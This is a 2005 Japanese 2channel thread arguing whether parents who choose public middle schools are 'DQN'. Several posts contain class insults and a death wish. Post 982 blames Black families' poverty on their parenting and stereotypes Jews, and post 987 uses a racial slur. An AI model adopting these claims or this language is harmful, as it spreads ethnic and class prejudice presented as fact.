「頭を叩かれながら子供はえんぴつを握り締めていました。私は鬼のように怖い顔をして・・ 受験戦争を終えました」
(産経新聞大阪本社版夕刊4月22日)

幼稚園児にこのような暴行を行い偏った価値観を植えつける、こんな親からは親権を剥奪すべきである。
このような育てられ方をした子供は将来人格が歪み、勉強できる=偉い 勉強できない人=駄目 と思い込み
勉強以外の能力の方が大事な社会で失敗するだろう。

特に成長のゆがみはコミュニケーション能力を低下させる。
親の歪んだ考えは暴力の記憶とともに子供に受け継がれ、子供に伝染し、子供は普通の人と
コミュニケーションが取れなくなる。

子供の将来を破壊するお受験制度を禁止し、暴力親の親権は直ちに剥奪しろ!

883 :実習生さん:2005/04/23(土) 00:59:19 ID:Y0rl+ZQx
>>875
その通り。
私立中時代に公立の話聞いてすごくうらやましかった。
小学校の同級生で公立行った奴がいじめにあったけどすぐに先生が注意してくれて納まったって。
そいつ勉強できない子なのに先生が人間扱いしてくれたんだ・・
さすが公立です。

884 :名無し@教育板:2005/04/23(土) 01:16:22 ID:yW3bY+ni
>>870-876

何でいきなり「いじめ」の話になっちゃってんの?
馬鹿の考えることってわからんな。



885 :実習生さん:2005/04/23(土) 01:17:40 ID:Sfw7R+Zi
>>878
風紀の荒廃については公立だけがひどくて私立は当てはまらないというのは
違うと思います。
公立も荒れている学校はありますが、それは地域によります。
私立でも余程校則が厳しい学校でもない限り、そんなに真面目でも
ないです。
かえって親や地元の大人の目を離れる分、わからない所で夜遊びなどを
しているケースもあります。
校則が厳しい学校は今時の子供は例え私立生といえども
少なくても内心では反発します。
その反発が大人の目には見えにくい荒れを呼ぶ事も多いです。

ゆとり教育には確かに問題がありますが、
ある一定レベル以下の私立だと無理して先取りしたり
英語のテキストにプログレスを使ってもついて来られる生徒は少ないです。

886 :名無し@教育板:2005/04/23(土) 01:17:40 ID:yW3bY+ni
>>882-883
また来たか、私立中学制度廃止厨。
芸風が変わらんなあ・・・


887 :実習生さん:2005/04/23(土) 01:20:53 ID:Sfw7R+Zi
>名無し
あなたの考える、例え一定以下のレベルの私立でも
公立に進学するよりまし、だという理由は?

888 :実習生さん:2005/04/23(土) 01:28:09 ID:XGyCfjX+
結局地域によるんだよな、この問題は。

うちは千葉県ですが、公立校が進学指導をしっかりやっているという例は知らない。

889 :実習生さん:2005/04/23(土) 01:30:40 ID:Sfw7R+Zi
進学指導に関しても、私立だとて
「しっかりやっている」のは一部ではないでしょうか?

と、言うよりも、「出来ない子を出来るようにする」なんて
魔法が使える学校なんてないのではないでしょうか?

890 :実習生さん:2005/04/23(土) 01:33:24 ID:df/uGUEX
公立ってごみのいくところだろ。それが結論

891 :実習生さん:2005/04/23(土) 01:38:14 ID:Sfw7R+Zi
890が名無しだとしたら、結局はただのネタスレってことですね。

それにしても随分粘着なので本気かと思ってましたが。

892 :実習生さん:2005/04/23(土) 01:47:03 ID:HZBc6kqF
おい!何県何市在住か言えよ!

893 :実習生さん:2005/04/23(土) 01:56:57 ID:df/uGUEX
>>891 話かけんなよ 低脳

894 :実習生さん:2005/04/23(土) 02:02:05 ID:HZBc6kqF
とにかく公立中でまともな環境と言えるのが
何県何市にあるのか具体的に知りたい。

895 :名無し@教育板:2005/04/23(土) 03:41:31 ID:yW3bY+ni
>>887
本質的な問題としては、公立中学校ってのは
「法律で定められた義務教育によって子供を通わせている」
ということ。
そこには親子の側に学校に通わせる能動的な動機が存在しない、しなくてもいいわけ。
となると、システムとして、学校側は、親子を最終的に学校に従わせる根拠がないわけ。
その辺をインチキで片付けてお茶を濁しているところに公立中の弱点がある。
極論すれば、正しい意味での「学校」というよりは、行政サービス機関のひとつにすぎない。

私立ってのは、自発的にわざわざそこの学校に通わせてくれ、とお願いして入れてもらうところ。
だから、学校の方針には最終的には従わねばならない。

この違いが、学校の中での、学校側の自由度の違いに表れる。
根本的にはそこだと思うよ。

896 :名無し@教育板:2005/04/23(土) 03:47:04 ID:yW3bY+ni
まあ>>887はそんな話を聞きたいわけじゃないでしょう。
とってもしみったれた話だけど、そのランクの学力においても、
学力に合わせた授業をそれなりにきちんとやる私立の方がましじゃない?
生活面においては、私立の場合、あんまりひどいDQNは排除できるってのもある。
また、これは勉強しなくなっちゃうのと両刃の剣だけど、高校受験のムダを省くこともできる。
とくに内申書のわずらわしさから。

897 :実習生さん:2005/04/23(土) 04:02:24 ID:uLTkY5ha
>>888
愛知県も一般生徒は部活で朝も放課後もクタクタですよ。
そのため授業中はすやすやが多いのが現実です。
そういう雰囲気の中で公立トップ校から東大という層は
親的には私立中以上のインテリ層ですよ。
大学教授、研究機関研究員、トヨタ系高級エンジニア等。

名古屋の有名私立中はインテリ度より自営度、また医師や教員家庭が多いのが特徴。

898 :実習生さん:2005/04/23(土) 10:00:12 ID:pk0wIgMa
高校受験が無駄と考える人=大学受験が無駄と考える=低脳=底辺私立
だそうですがどう考えますかね。

899 :実習生さん:2005/04/23(土) 10:33:29 ID:lmVtddyj
風紀の乱れは公立私立では無く学校によると思います。
うちの周りには、公立中のそばに3つの私立中(難関、中の上、底辺)がありますが、
服装のきちんとしている順を並べると、中の上私立>公立中>底辺>最難関です。

個人的には中の上私立の生徒さんは服装だけではなく、表情も穏やかなので通わせたいと
思える学校ですが、それ以外の私立には行かせたいとは思いません。
近所の公立中も、校則は厳しくない(スカート丈や髪型のきまりはない)のに、スカート丈
の極端に短い子や茶髪の子もいないです。DQNという子はいないです。

難関の学校は、通学途中の会話を聞いている限り、何でこんな学校にわざわざ入れるかな?
と思ってしまいます。(中学生なのに男子校との合コンの話ばかり)
良い大学に入ることができれば何でも良いのかも知れませんが。

900 :実習生さん:2005/04/23(土) 10:47:08 ID:pk0wIgMa
>>899
お住まいはどちらですか?

901 :実習生さん:2005/04/23(土) 10:49:09 ID:HZBc6kqF
優秀な学校の方が校則は緩いことが多いからな。
で、何処の私立中よ?
具体名出せよな。

902 :実習生さん:2005/04/23(土) 11:49:22 ID:3BKh4pZt
>>901
無理、、この手の連中が私立中を貶す時は
具体名が出ることはないWW

903 :実習生さん:2005/04/23(土) 12:13:20 ID:QZExQmNc
DQNってどういう意味ですか?
どなたか教えてください。m(_ _)m

904 :実習生さん:2005/04/23(土) 12:31:00 ID:3BKh4pZt
>>903 Don't Qualified as a Normal person.



905 :実習生さん:2005/04/23(土) 14:09:25 ID:ZH95IUbZ
>>「出来ない子を出来るようにする」なんて
>>魔法が使える学校なんてないのではないでしょうか?

これが全ての核心をついてる気がする。

906 :実習生さん:2005/04/23(土) 14:27:37 ID:ZH95IUbZ
>>894
田舎は大抵マトモだろ。
少なくとも、政令指定都市がないような県は。



907 :実習生さん:2005/04/23(土) 14:31:00 ID:1eWvvHlB
学区内に公営住宅や県平均以下の家賃の
アパートやマンションがなければ取り敢えず安心かな?
やっぱ安い住宅地はそれなりの人間が集まりやすいからね

908 :名無し@教育板:2005/04/23(土) 14:36:27 ID:yW3bY+ni
>>889
>と、言うよりも、「出来ない子を出来るようにする」なんて
魔法が使える学校なんてないのではないでしょうか?

当たり前以前のことだろ。

誰もゼロを100にすることができるなんて思っていないって。
だからと言ってそれで諦めるのがDQNのDQNたる所以だ罠。
10を20にする。40を45にする。
それはできるんだよ。

魔法が使えないからって諦めちゃいけないわけよ。



909 :実習生さん:2005/04/23(土) 15:03:55 ID:ZH95IUbZ
どうでもいいけどさ

公立をDQN呼ばわりしながら
リストラされて私立に行かせる金がないとか
子供がバカでどこにも受からないとか

そういうみっともないことだけはないように頑張ってくさいよ>皆さんw

910 :実習生さん:2005/04/23(土) 15:20:28 ID:zD83d8bM
ここの私立派の言うことを聞けば大体のレベルはわかる。
金持ち、教養、都会、医者が有難いんだよ。
自分にないものを求めるんだね。
お気の毒に。

911 :実習生さん:2005/04/23(土) 15:51:54 ID:te+8LITx
>>910
>金持ち、教養、都会、医者

あなたはこういうものは嫌いなの?
逆の立場の人の集団は怖くない?

912 :実習生さん:2005/04/23(土) 16:00:18 ID:df/uGUEX
地方にしか住めない貧乏人のくずどもがえらそうに話してんじゃねえぞ。


913 :実習生さん:2005/04/23(土) 16:05:32 ID:qbr1X4SO
>>911
>あなたはこういうものは嫌いなの?
>逆の立場の人の集団は怖くない?
こういうことを気にしたこともない。

>>912
>地方にしか住めない貧乏人のくずどもがえらそうに話してんじゃねえぞ。
全くもって面白いね。
お里が知れるよ。


914 :実習生さん:2005/04/23(土) 16:13:31 ID:te+8LITx
確かに912の言い方はひどいね。
個人的には地方と東京といったような括りでは考えない。

まあ田舎と医者については別にこだわらないものの
貧困よりは裕福な方がいいし、教養はないよりあったほうがいい。
程度とか定義が難しいかもしれないけどね。


915 :名無し@教育板:2005/04/23(土) 16:16:30 ID:yW3bY+ni
>>910
>金持ち、教養、都会、医者が有難いんだよ。
自分にないものを求めるんだね。

私立派がそういうものを持っておらず、そういうものを求めるのだとして
それがレベルが低いことなのか?
とりあえずそういった生臭いながらも「向上心」を持つことがまず第一歩だろ。

都会に住む金持ちで教養ある医者なら公立中に子供を行かせるなんてことはあるまいに。

子供を必死で医者にさせようとするのは医者(歯医者含む)に多いぞ(w



916 :名無し@教育板:2005/04/23(土) 16:24:13 ID:yW3bY+ni
うちの子は勉強なんかやらないでもできた。
塾へ行かずに東大。
ジアタマが肝腎。
教養はほっておいてもあり余っている。
家は都会で裕福。あくせくしない。


こういう公立マンセーのある種典型的なカキコは、実はやってることとしてはDQNの教育論とまったく同じ。
もちろん細部では違うだろうし、結果は違うのかもしれないが、
本質的に「理想」としている姿が同じなんだよ。

当然、その具体的処方箋=公立に入れる も同じだな。






917 :実習生さん:2005/04/23(土) 16:28:15 ID:ijePLGve
んまあ、公立に何の疑問も持たずに
普通に入れてしまう親は9割DQNってことで決定だな
街で見かけるようなDQN親や茶髪親などは
そもそも私立などという概念がないのと一緒で。

918 :名無し@教育板:2005/04/23(土) 16:31:57 ID:yW3bY+ni
子供の中学程度のことであくせくして
金をかけて、いろんなものをガマンして
塾に煽られ、学校選びを間違えて失敗するかもしれない、
結果としてイジメにあったり、規則が厳しくてつらかったり、
塾や予備校へ追加で通っても大学受験でうまく行かずに結局・・・・かもしれない


で?
それを哂える香具師がいるのか?
それこそが親なんじゃないの?

子供のためにカッコ悪いことを平気でする・・・それができないのがDQNなんだよね


919 :実習生さん:2005/04/23(土) 16:48:10 ID:qbr1X4SO
>>918
>子供のためにカッコ悪いことを平気でする・・・それができないのがDQNなんだよね
そうじゃないよ。
親のために子どもをだしにして良い格好をしようとする。
世間体が大事。
だからお金、教養、都会、医者とかにこだわるのさ。
そういう自分が分かっていないのがここの私立派。(あくまでこのスレだけのね。)


920 :実習生さん:2005/04/23(土) 17:01:25 ID:ZH95IUbZ
>>918
それは、自分のために「カッコ悪いこと」をしてくれなかった親への恨みですか?w



921 :名無し@教育板:2005/04/23(土) 17:10:48 ID:yW3bY+ni
>>919
>親のために子どもをだしにして良い格好をしようとする。
世間体が大事。

だからさ〜〜〜
私立中学入れるくらい良い格好できると思っていることがおかしいのよ。
そりゃあ御三家とかならまだしも、
「世間体が大事」とか言っているくらいで御三家受かるようなら世話ない罠。
中堅以下の私立中なんか公立中よりかえって世間体悪いんだから・・・
下手すると難関中だって「え? ●●なんか行ってるの?」ってかつての不良学校のイメージで語られちゃうこともある。

見栄とかいうんなら、小学校受験だよ。


922 :名無しさん@そうだ選挙に行こう:2005/04/23(土) 18:00:44 ID:Vg460f8g
何故親は子供を自分の名誉のために使うんだ??


923 :名無しさん@そうだ選挙に行こう:2005/04/23(土) 18:01:27 ID:Vg460f8g
自分がそこの学校を卒業すれば(゚з゚)イインデネーノ?

924 :名無しさん@そうだ選挙に行こう:2005/04/23(土) 18:02:12 ID:Vg460f8g
僕にはわからないよ
今の親がいっちゃい何を考えているのかを・・・・・


925 :実習生さん:2005/04/23(土) 18:41:10 ID:Sfw7R+Zi
>名無し@教育板

あなたは自分で勝手に「公立へ通わせるDQNな親の実像」を脳内に創造して
その「DQNな公立親」へ自分の持ってる憎しみをぶつけているだけ。
確かにそのような親だっているかもしれない。
が、子供を公立に通わせる親のすべてがそのような親であるわけではないし
そもそも本物の公立親の中であなたが妄想するようなDQN親がどの程度
存在するのかもわからない。(第一、そんな事は調べようがない)
実在するあなたの親がそのような親であなたがその親の教育観に納得できなかった
というのならそれは気の毒な事だったかもしれないが、
実際には実在するかどうかもわからない、実在していたとしても
具体的に何処の誰かもわからない、
そんな自分の作り出した幻に憎しみをぶつけつづけていた所できりがないし、
無意味なのではないだろうか?


926 :実習生さん:2005/04/23(土) 18:48:11 ID:Sfw7R+Zi
他所の親がどうであれ、あなたの理想通りであろうがなかろうが、
そこの親子の個的な問題であり、それでうまく行っていれば
あなたが偉そうに一々口を出して回る事ではないだろう。

あなたは「自分の親だけは」DQNではない、といつも言っているが
それは何故なのだろう?
何だかそのあたりがあなたの乗り越えられない壁であり、
あなたがここに常駐してループスレを立て続けている根本原因のような
気もするのだけれどね。
だが、あなたの親が「公立に子供を通わせた、しかしDQNではなかった」
ならPCの向こうにだってそんな親は無数に存在するかもしれないのだよ?

927 :実習生さん:2005/04/23(土) 18:49:43 ID:HZBc6kqF
正しくは『良い国私立中がある地域なのに公立中出身の奴はDQN』
なんだけどな。
これなら皆、納得するだろ。

928 :実習生さん:2005/04/23(土) 18:58:05 ID:Yusw33ZX
おいおい、DQNじゃないのに気の毒にも中学受験失敗組はどうなる?
なんでもひとまとめにククりゃ良いってもんでもなかろ。

929 :実習生さん:2005/04/23(土) 19:00:28 ID:HZBc6kqF
更にはそういうガキを生み出す親もDQNと
言えなくもないな。
基本的に中学受験は親次第だからな。

930 :名無し@教育板:2005/04/23(土) 19:00:28 ID:yW3bY+ni
>>925
>あなたは自分で勝手に「公立へ通わせるDQNな親の実像」を脳内に創造して

脳内に想像しなくてもたとえば夜中にドンキとかに行けばたくさんいるじゃん(w

>その「DQNな公立親」へ自分の持ってる憎しみをぶつけているだけ。

憎しみ? そんなもん全くないけど・・・

>無意味なのではないだろうか?

ま、2ちゃんでカキコすることに元々意味はないわけよ。

931 :実習生さん:2005/04/23(土) 19:02:03 ID:HZBc6kqF
ぁあ、確かに惜しいところで失敗した子供は
DQNとは言えないな。
これは失礼した。

932 :名無し@教育板:2005/04/23(土) 19:02:59 ID:yW3bY+ni
>>926
>あなたが偉そうに一々口を出して回る事ではないだろう。

オレが口を出しに行っているのではなく、ここに来て公立マンセーをしにくる香具師を叩いているんだが・・・

>あなたは「自分の親だけは」DQNではない、といつも言っているが

そんなことは一度も言っていないが・・・



933 :実習生さん:2005/04/23(土) 19:04:25 ID:Sfw7R+Zi
現実には公立親も色々だろうし、私立親も色々だろう。
公立だからといってただ漫然と学校に通って(通わせて)無為な毎日を
送っているものばかりとは限らないし
私立親だって入学前に学校に過剰な期待ばかりを抱いて、
それが自分の思い通りに行かないからといってふてくされて
学校に非常に非協力的になってしまう場合だってある。
世の中の人間、家庭、親など本当に色々だ。

一律に「公立親は××」(或いは××が多い)
「私立親は○○」(或いは○○)が多い等と決め付けるのは厨房の極みだ。
ただ、単なる自分の漠然とした印象やイメージで語っているだけだ。
自分の狭い、貧しい人生経験で得た印象だけがすべてだと思ったら
大間違いだ。

あなたは、そんな他人のDQNな公立親と何処でどうやって関わるというのか?
現実には何ら関わっていないし、
関わらなければならない立場であるわけでもない。

あなたは自分の脳内が作り出した「公立のDQN親」という幻と一人相撲している
だけだ。

934 :実習生さん:2005/04/23(土) 19:06:56 ID:Sfw7R+Zi
憎しみもない、意味もないなら、なぜスレッドを10も立て続けて
いるの??

935 :実習生さん:2005/04/23(土) 19:09:19 ID:Sfw7R+Zi
また、ここであなたに反論をしているからといって
その相手があなたの考えるようなDQN親なのかどうかはわからないんじゃ
ないのか?

あなたが実際に関われる可能性があり、関わって意味があるのは
あなたの親だけなのではないのか?

936 :名無し@教育板:2005/04/23(土) 19:10:56 ID:yW3bY+ni
おれにあるのは、底辺とは言わないまでも中堅以下の私立中学に入れる親、
子供の私立中学授業料のためにパートしている親、
そういう親へのリスペクトだけだね。


937 :実習生さん:2005/04/23(土) 19:13:00 ID:Sfw7R+Zi
夜中にドンキにいるような親はここに来てあなたの話をわざわざ
読んでどうこう言おうなんて思わないだろうし
それでも、その「ドンキ親」が憎いのなら実際にドンキに行って
何か行った方がまだ何らかの手ごたえがあるのではないか?

まあ、実際には怖くてそんな事など出来ないとは思うが。

938 :実習生さん:2005/04/23(土) 19:15:38 ID:Sfw7R+Zi
>>936
じゃあ、リスペクトだけしていれば良い。
だが、不特定多数の公立親を罵る事をそれらの私立親が喜ぶとも
思えないけれどね。



939 :名無し@教育板:2005/04/23(土) 19:16:02 ID:yW3bY+ni
>>933
あほか?
ここは現実社会か?
そんな当たり前のことはとうにわかった上で、

「子供を『公立中学』に入れる親はDQNが多い」
って話だ罠。

ってか、ここはオレが立てたスレじゃないし(途中2、3回新スレを立てたことはあるが)。

>あなたは自分の脳内が作り出した「公立のDQN親」という幻と一人相撲している
だけだ。

違うって(w
リアルのDQNを相手にしてもしょうがないだろ。
オレの叩く相手はここの公立マンセーなんだって(w
わかんないか?


940 :実習生さん:2005/04/23(土) 19:16:34 ID:HZBc6kqF
公立中も学力で分化されて
ドンキ親の子弟とまともな親の子弟が
分離されたら良いんだけどな。

941 :実習生さん:2005/04/23(土) 19:20:02 ID:Sfw7R+Zi
「リアルのドンキ親」を叩かないのは意味が無いからなんじゃなくて
怖いからなのではないのか?


942 :実習生さん:2005/04/23(土) 19:20:30 ID:HZBc6kqF
公立中も学力に基づく選抜を行なえば良いんだよ。
そうしてやばすぎる親の子弟を
少ない箇所に留めておく。
これが良いね。

943 :名無し@教育板:2005/04/23(土) 19:24:18 ID:yW3bY+ni
>>938
つーかさあ、おまえは頭が悪すぎて全然わかっていないんだけど、

たとえば、オレが「夜中のドンキ」とかの話を持ち出すじゃん。
そうするとおまえみたいにわけのわかんないリアルとヴァーチャルの区別のつかないアホはヘンな煽りを入れるだけなんだけど、
ここを読んで、「夜中のドンキのDQN親、なるほど!」とひざを叩くと言わないまでも、ニヤリとする香具師もいるわけよ。



944 :実習生さん:2005/04/23(土) 19:24:34 ID:HZBc6kqF
リアルでドンキ親を叩くって無茶いうなよw
2ちゃんで政治家右翼中韓朝鮮ヤクザ部落叩いている奴に
直接相手に言ってみろと言うくらい
無茶な意見だぞ!

945 :実習生さん:2005/04/23(土) 19:25:20 ID:Sfw7R+Zi
ここにあなたが言うような典型的公立マンセーがいるのかどうかなんて
怪しいもんだし。
名無し@叩きならいくらでもいるようだが。

リアルドンキ親が憎いという事とここに常駐する事には何のつながりも
無いことだしね。

946 :名無し@教育板:2005/04/23(土) 19:26:13 ID:yW3bY+ni
>>941
おまえ、それじゃそれこそDQNじゃん。
リアルのドンキ親に何のうらみがあるのよ?


947 :実習生さん:2005/04/23(土) 19:27:15 ID:Sfw7R+Zi
名無し@教育板の言うような手垢のついた主張など
今更誰も膝を叩いたりニヤリとなんかしたりしないよ。

948 :実習生さん:2005/04/23(土) 19:29:23 ID:Sfw7R+Zi
その方が余程言ってる事とやってる事の辻褄が合うんじゃないかという事。

お前は単なる社会の役立たずの臆病者に過ぎないよ。

949 :実習生さん:2005/04/23(土) 19:30:48 ID:Y0rl+ZQx
>>942
めちゃくちゃだ
小学生を夜遅くまで塾通いされる気?
むしろ私立も学力選抜禁止にすべきだ

950 :実習生さん:2005/04/23(土) 19:30:54 ID:7G28Twz9
ID:Sfw7R+Zi
揚げ足取りばかりの屁理屈レスには失笑です・・・
貴方が公立派だとしてもDQN親でなければ
それほど必死にならなくても良いのではないですか?



951 :名無し@教育板:2005/04/23(土) 19:30:57 ID:yW3bY+ni
ID:Sfw7R+Zi、おまえって底なしの馬鹿?
前に出てきて芸風ちょっとアレンジして来た?

全くわかっていないようだけど、
オレはリアルの「子供を『公立中学』に入れる親」を叩いているんじゃなくて、
このスレの公立マンセーのDQNを叩いているの。



952 :名無し@教育板:2005/04/23(土) 19:32:44 ID:yW3bY+ni
>>947
ホントに読解力がないねえ。
オレの主張じゃなくて、隠し味の方だよ。
わかってねーな(w

953 :実習生さん:2005/04/23(土) 19:35:22 ID:Sfw7R+Zi
>>951
名無しを理解できない事が馬鹿だとは思わない。

リアルとバーチャルが違ったものでバーチャルはリアルには何の影響も
残さないと言うのなら、なぜ毎日常駐してここで憎しみを垂れ流し続けているのか
わからないな。
こちらは必死というより、お前のその負のパワーの元が何なのか
わからないから興味あるんだよ。

954 :実習生さん:2005/04/23(土) 19:38:04 ID:Sfw7R+Zi
>>952
名無し@教育板の言ってる事なんぞ、隠し味もへったくれも隠れていないよ。

955 :実習生さん:2005/04/23(土) 19:38:48 ID:HZBc6kqF
うほ!ニューキャラに成って反応速力増加!
かっこいい!

956 :名無し@教育板:2005/04/23(土) 19:40:43 ID:yW3bY+ni
>>954
実際にそこにお客がついているじゃん(w
おまえもそのひとりだ罠(w

957 :実習生さん:2005/04/23(土) 19:41:36 ID:Sfw7R+Zi
取り合えず、名無し@教育板がリアルで話せる事ができる
「公立親」は自分の親だと思うんだけど、
その親に自分が思っている事がうまく話せないのか?

怖くて話せないのか?だからここで話しているのか?

958 :実習生さん:2005/04/23(土) 19:45:46 ID:Sfw7R+Zi
名無し@教育板は結構いい年こいているようだけれど、
自分の親に自分が考えている事、思っている事を怖くて話せないのか?

959 :実習生さん:2005/04/23(土) 19:50:01 ID:Sfw7R+Zi
バーチャルでは相手の事をバカだアホだと罵って元気が良いが
自分の親には怖くて何も話せないのか?

960 :実習生さん:2005/04/23(土) 20:00:26 ID:huaKWkvX
>>937
>>それでも、その「ドンキ親」が憎いのなら実際にドンキに行って
>>何か行った方がまだ何らかの手ごたえがあるのではないか?
>>まあ、実際には怖くてそんな事など出来ないとは思うが。
ID:Sfw7R+Ziさんなら夜中のドンキ親子に説教できそうだ。
>>941
>>「リアルのドンキ親」を叩かないのは意味が無いからなんじゃなくて
>>怖いからなのではないのか?
スレ違いだけど夜中のドンキ親子は怖い、普通の人間には注意することは不可能。
初めてドンキ(深夜)に行ったときは驚いた、金髪に夜中に子連れなんて洒落にならない。
>>947
>>名無し@教育板の言うような手垢のついた主張など
>>今更誰も膝を叩いたりニヤリとなんかしたりしないよ。
折れは吹いた上にニヤリとした。


961 :実習生さん:2005/04/23(土) 20:03:43 ID:Sfw7R+Zi
>>960
自分はドンキにはほとんど行った事が無い。ああいう店は使いにくい。

自分もある意味、名無しは「面白い」存在だと思っているけれど。

962 :実習生さん:2005/04/23(土) 20:07:08 ID:lmVtddyj
自分がDQN親だな〜と思える人は、大抵週○女性や女性○身など、ゴシップ女性誌を
日常的に読んでいる人。

実はリアルでそんな人がいることすら信じられなかったけど(美容院しか需要がないかと
思っていた)、私立小の制服を着ていた子の親が電車の中で読んでいた。
こういうのはDQNじゃないのかな?

あと、これも今日乗った電車の中での話だけど、小学校中学年くらいの子が都道府県の暗記
帳を持って勉強していたけれど、隣の親はスナック菓子を食べさせていた上に、子供が質問
しても「うるさいな〜」の一言を発すると居眠り。
こういうのはDQNじゃないのかな?

963 :実習生さん:2005/04/23(土) 20:10:42 ID:Sfw7R+Zi
>>962
そういうの、DQNだと思うよ。
表層的な公私論争よりも、何で最近そういうDQNが
特に地方都市を中心に増えてきたのか、社会学的に考察してみると
結構面白いよ。

964 :実習生さん:2005/04/23(土) 20:16:28 ID:HZBc6kqF
プッ社会学ww

965 :名無し@教育板:2005/04/23(土) 20:25:12 ID:yW3bY+ni
>>960
>ID:Sfw7R+Ziさんなら夜中のドンキ親子に説教できそうだ。

ガッツ石松ならやりそうだな(w
ID:Sfw7R+Zi = ガッツ石松?


966 :実習生さん:2005/04/23(土) 20:40:39 ID:Sfw7R+Zi
親の事はどうなの?
やっぱりリアルだと怖くて話せないからここで話し続けているの?

967 :実習生さん:2005/04/23(土) 21:38:59 ID:Dbzhvzm7
小学校で仲のいい友達出来て中学も一緒になるなら無理矢理私立には行かせたくないかな。

968 :実習生さん:2005/04/23(土) 23:45:29 ID:0hPUhlMY
次スレ用意しました

子供を『公立中学』に入れる親にはDQNが多い 11
http://school4.2ch.net/test/read.cgi/edu/1114267452/

969 :実習生さん:2005/04/24(日) 00:37:17 ID:29Mekz40

死ね、恥知らず

970 :実習生さん:2005/04/24(日) 00:46:34 ID:tOesF/w5
スレを使い切りましょう

971 :実習生さん:2005/04/24(日) 00:55:01 ID:koXmo22C
皆さん申し訳ありませんがこちらが次ぎスレです。>>968はDAT落ちさせます。

子供を『公立中学』に入れる親にはDQNが多い 11

http://school4.2ch.net/test/read.cgi/edu/1114270800/l50

972 :名無し@教育板:2005/04/24(日) 00:56:35 ID:WP2J/w9b
次スレです。
子供を『公立中学』に入れる親にはDQNが多い 11
http://school4.2ch.net/test/read.cgi/edu/1114270800/l50

>>968のリンクはDAT落ちまたは削除予定です(w
公立マンセーのDQNはまともに2ちゃんのスレも立てられないんだ罠。

973 :実習生さん:2005/04/24(日) 00:57:53 ID:KQ5mzxWb
先着優先。このスレは削除対象です。本スレはこちら

子供を『公立中学』に入れる親にはDQNが多い 11
http://school4.2ch.net/test/read.cgi/edu/1114267452/

974 :名無し@教育板:2005/04/24(日) 00:58:20 ID:WP2J/w9b
>>972
けこーん



975 :名無し@教育板:2005/04/24(日) 00:59:27 ID:WP2J/w9b
>>973
削除対象スレしか立てられないDQNがそう申しております。

976 :実習生さん:2005/04/24(日) 01:09:45 ID:koXmo22C
>>名無し@教育板

おれははっきり言ってあんたのこと余り好きじゃないが
これはまずいと思ったよ。

ところでこれってまさか公立派の印象を悪くする為の
あんたの自作自演じゃないよねww??



977 :実習生さん:2005/04/24(日) 01:13:41 ID:29Mekz40
いや、名無しはそこまで芸は細かくないと思う。
自作自演ならテラワロスwwwwww

978 :名無し@教育板:2005/04/24(日) 01:15:56 ID:WP2J/w9b
>>976
公立派の印象を悪くしてどうなる?
そんな手のこんだことする必要がどこにある?

公立マンセーのアホな自作自演説に引き摺られていないか?
DQNが移らないように気をつけてな(w

979 :実習生さん:2005/04/24(日) 01:33:17 ID:BhVKyiMy
それにしても今全く同じタイトルのスレが三つも載っているのは
不思議な感じがするね。


980 :実習生さん:2005/04/25(月) 00:34:20 ID:t3OSokoc
      \∧_ヘ     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ,,、,、,,, / \〇ノゝ∩ < 1000取り合戦、いくぞゴルァ!!       ,,、,、,,,
    /三√ ゚Д゚) /   \____________  ,,、,、,,,
     /三/| ゚U゚|\      ,,、,、,,,                       ,,、,、,,,
 ,,、,、,,, U (:::::::::::)  ,,、,、,,,         \オーーーーーーーッ!!/
      //三/|三|\     ∧_∧∧_∧ ∧_∧∧_∧∧_∧∧_∧
      ∪  ∪       (    )    (     )   (    )    )
 ,,、,、,,,       ,,、,、,,,  ∧_∧∧_∧∧_∧ ∧_∧∧_∧∧_∧∧_∧
      ,,、,、,,,       (    )    (    )    (    )    (    )

981 :実習生さん:2005/04/25(月) 02:06:20 ID:jrdBpT/k
とりあえず、梅


982 :実習生さん:2005/04/25(月) 05:21:22 ID:RUh0lTx5
まあ、親の子に対する勉強熱心度が子の人生にどういう結果をもたらすかは、既に
大規模な20世紀の社会実権でしっかり証明されているよ。ただし、アメリカで。

子供に厳しく勉強を要求するユダヤ人家庭と子供を甘やかして放任する黒人家庭。
ユダヤ人たちは、今でこそ中流以上の階層に食い込んでいるが、20世紀初頭は無一文で
東欧やロシアあたりから命からがら逃げ込んできた人がほとんどだった。
また、黒人差別と負けず劣らずユダヤ人差別もひどかった。
黒人は宗教的には、キリスト教それもプロテスタントが多数派だったが、ユダヤ人は宗教的に
敵対宗教=ユダヤ教だったからね。

だから、20世紀初頭から1950年代まではユダヤ人と黒人は政治同盟というか政治的ブロックを
組んで共に差別や人種的迫害に闘っていた。
ところが、時が経つにつれ、勉強熱心なユダヤ家庭の子供は親が借金してでも子供たちを大学に
入れたため、どんどん、医師や弁護士や保険業、証券業などの金融部門の重役になっていったのに
対して、子供に勉強を強制しない黒人家庭は相変わらず貧困状態のまま。
そのため、60年代には両者は社会の底辺とアッパミドルに分離してしまって、政治同盟は解体してしまった。

ミクロ的には多少の変異はあっても、マクロ的には子供の勉強に関心が強く、熱心な家庭と
そうでない家庭の差は子供の将来に決定的差をつけるし、その指標が子供にかける教育費。



983 :実習生さん:2005/04/25(月) 05:27:02 ID:RUh0lTx5
実際、ついこの前、出版された「しのびよるネオ階級社会」
http://www.amazon.co.jp/exec/obidos/ASIN/458285267X/249-0481224-1339534
という本にはイギリスの階級が実は教育投資によって分かれていることが詳しく
分析されている。

イギリスの中産階級は借金してでも、子供も中高一貫校(パブリックスクール)に入れるし、
さらに上のアッパーミドル以上になると小学校から私立(ブレア首相も子供は私立小)。

日本も既に東京圏ではそうなりつつある。

984 :実習生さん:2005/04/25(月) 05:51:11 ID:RUh0lTx5
そして、そういう社会的に成功したアメリカのユダヤ人たちは、21世紀初頭の今や上流支配層のワスプと
同盟を組めるまでになったわけだ。

ネオコン(ユダヤ人知識・専門職階層)とワスプ(在来支配層)の同盟がブッシュ政権。

985 :実習生さん:2005/04/25(月) 08:21:30 ID:1hLfRPu3
>>983
複雑なイギリスの教育制度とアメリカ式単純な仕組みの
日本の教育制度では比較するのは無理があると思われ
イギリスの私立はノブリスオブリージェの精神で小学校から
奨学金制度があり貧困層でも優秀な子供なら通えるが
日本の私立は税金の援助があるにも関わらず奨学金制度の様に
貧しい納税者へ還元するシステムがほとんどなく
私立小は金持ちオンリー
根本的な部分が全く違うんだよ

986 :実習生さん:2005/04/25(月) 11:49:02 ID:6W6TwWPV
>>982
世界的に見て、金があっても公立中に入れる人は超スーパーDQNってことですね。

987 :実習生さん:2005/04/25(月) 12:56:08 ID:m86zKxhm
アメリカでは公立中高に行く奴はニグロが多数。
